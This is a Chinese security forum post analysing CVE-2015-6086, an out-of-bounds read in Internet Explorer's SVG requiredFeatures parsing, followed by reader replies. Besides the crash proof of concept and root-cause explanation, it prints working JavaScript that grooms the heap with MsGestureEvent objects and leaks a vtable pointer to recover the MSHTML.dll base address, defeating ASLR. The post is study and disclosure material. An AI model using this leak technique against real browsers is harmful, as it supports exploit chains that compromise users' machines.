首页
社区
课程
招聘
[原创]CVE-2015-6086 简要分析
2016-4-27 14:42 6547

[原创]CVE-2015-6086 简要分析

2016-4-27 14:42
6547
自己学习过程中写的记录。。。
前言

    Microsoft Internet Explorer 9 through 11 allows remote attackers to obtain sensitive information from process memory via a crafted web site, aka "Internet Explorer Information Disclosure Vulnerability."

0x01 漏洞成因

测试环境:win7 x64   

IE10 10.0.9200.16521

漏洞crash POC如下
function trigger() {
    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
    polyLine.setAttributeNS(null, 'requiredFeatures', '\n');
} 


想要crash浏览器需要开启gflags中的页堆,ust和application verifier
其中application verifier中开启heaps。








最明显的是访问了一个没有数据的地址导致了访问异常,此时进行猜测最可能是UAF,或者是数组访问越界之类问题。
查看一下UST



得到的结果可以比较清晰的看到此块堆块没有释放记录,也就是说不是UAF了,进一步观察可看到访问失败的地址在分配的堆块的末尾也就是  10be4ff0+0x10= 10be5000= edi的位置
此崩溃在位置MSHTML!CDOMStringDataList::InitFromString+0x47处。
通过ida查看此函数的反汇编代码。
先放上伪代码



关键部分的反汇编如下


该函数大致作用就是将用户输入的requiredFeatures值转换到该对象的requiredFeatures数组中。如果中间包含空格,空白等字符的话,将该字符串切割为多项存储为数组中的多项。读取到’\0’时终止。而且通过getItem还可以获取到该数组中的数据。
效果如下图所示

<html>
<script>
function trigger() {
    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
    polyLine.setAttributeNS(null, 'requiredFeatures', "adfe 2ade");

    var message = "Number of Items: " + polyLine.requiredFeatures.numberOfItems + "\n";

    for (var i = 0; i < polyLine.requiredFeatures.numberOfItems; i++) {
        message += "Index: " + i + "\nValue: " + polyLine.requiredFeatures.getItem(i) + "\nLength: " + polyLine.requiredFeatures.getItem(i).length + "\n";
    }

    alert(message);
}
</script>
<body onload="trigger();"></body>
</html>




先进行函数前后的空白判断,从非空白字符开始读取,读到空白字符后停止,然后将中间的不包含空白部分存储。

漏洞的关键部分图中圈出了。举个例子分析下。就如poc中保存的requiredFeatures为’\n’则实际保存后需要处理的字符串实际为”\n\0”。进入流程后先通过IsCharSpaceW判断为空白(注意空格,换行为空白,但是‘\0’不是空白)。

此时保存字符串的指针进行自增操作,指向‘\0’。

然后注意,是指针先自增然后再进行的是否为空的判断。为空停止,但是此时自增之后指针已经不是指向’\0’了,而是指向了该字符串的后一个字符,这样便跳过了终止检测。造成了越界读取,信息泄露。

总结说,就是通过IsCharSpace判断是否为空后处理不当导致可以跳过null终止符造成信息泄露。

0x02 内存布局以及漏洞利用

此漏洞可以用来做信息泄露使用,要达到的目的是越界读取后面的数据,利用思路是读取后面紧邻的对象的虚表,然后通过虚表定位到dll的基地址。

作者使用了MsGestureEvent这个对象来作为读取虚表的对象,此对象长度为0xA0,当分配0xA0长度的字符串作为requiredFeatures的时候不会有额外的垃圾数据来补齐长度。

布局思路为
先创建0x1000个MsGestureEvent对象,此对象每一个大小为0xA0。
然后是这些对象中每隔一个对象释放一个对象,管这个叫make hole,大致效果如下图所示



然后分配0xA0大小的requiredFeatures,会正好分配到上面挖好的hole中。这样通过越界读取就可以获取到后续对象的虚表地址了,通过虚表地址与dll基地址的固定偏移就可以获取到dll基地址了。
大致代码如下
            
var eventArray = new Array();
            var polyLineArray = new Array();
            var exploitSuccessful = false;

            for (var i = 0; i < 0x1000; i++) {
                eventArray[i] = document.createEvent('MsGestureEvent');
            }
            for (i = 1; i < 0x500; i += 2) {
                eventArray[i] = null;
            }

            CollectGarbage2();

            for (i = 0; i < 0x250; i++) {
                polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
                polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString('A', 0x0A0));
                polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString('\n', 0x0A0));
                if (polyLineArray[i].requiredFeatures.numberOfItems == 2 && polyLineArray[i].requiredFeatures.getItem(1).length == 4) {
                    var OOBReadMemory = escape(polyLineArray[i].requiredFeatures.getItem(1));
					alert(OOBReadMemory);
                    var spitValue = OOBReadMemory.split('%');
                    var CDOMMSGestureEvent_VFTablePointer = parseInt('0x' + spitValue[3].replace('u', '') + spitValue[2].replace('u', ''));
                    var MSHTMLBaseAddress = CDOMMSGestureEvent_VFTablePointer - offsetOfMSHTMLBaseAddress;

                    var message = 'MSHTML.DLL Base Address: 0x' + MSHTMLBaseAddress.toString(16);
                    message += '\n';
                    message += 'CDOMMSGestureEvent VFTable Pointer: 0x' + CDOMMSGestureEvent_VFTablePointer.toString(16);
                    alert(message);
                    exploitSuccessful = true;
                    break;
                }
            }
            if (!exploitSuccessful) {
                window.location.reload();
            }

因为在有内存保护的情况下释放掉的对象不会被立即释放,而是放到一个list中等待大小达到了阈值才会释放。
所以在以上代码中使用了CollectGarbage来强制立即释放对象。
执行效果如下


具体利用代码在利用脚本的注释里已经写的很清楚了,我就不过多解释了,详情可以看附件中的注释。
附件: ms15-112.zip

参考文章http://www.payatu.com/from-crash-to-exploit/

邮箱:liushenrong@wis-eye.com

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (9)
雪    币: 6
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
影子不寂寞 2016-4-28 00:51
2
0
谢谢楼主分享
雪    币: 341
活跃值: (133)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
地狱怪客 2 2016-4-28 10:26
3
0
好厉害。
雪    币: 1038
活跃值: (1216)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
StriveXjun 2016-4-28 14:22
4
0
前排观摩!!
雪    币: 292
活跃值: (680)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Keoyo 2 2016-4-28 14:42
5
0
太感谢了!写的真的是太好了,最近就想看这样的文章!
雪    币: 68
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pregnant 2016-4-28 16:46
6
0
windows cve
雪    币: 3842
活跃值: (1830)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
音货得福 1 2016-5-19 15:33
7
0
楼主你好,我测试的版本是IE 10.0.9200.17457,当执行CStr::Set函数的时候,由于src='\0abcd'之类的,这个\0会导致Set函数复制停止,导致出现%00%00%00%00..这种情况,不知道你的版本有这种情况么?
雪    币: 44
活跃值: (34)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
qiaoguanli 1 2016-5-23 13:25
8
0
我没有测过这个版本的,建议你把dll反汇编进ida中看一下代码这个地方在17457版本下的实现。
雪    币: 38
活跃值: (120)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
zEqueue 2016-9-2 16:05
9
0
mark
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kevinirst 2016-9-4 16:58
10
0
顶顶!!!
游客
登录 | 注册 方可回帖
返回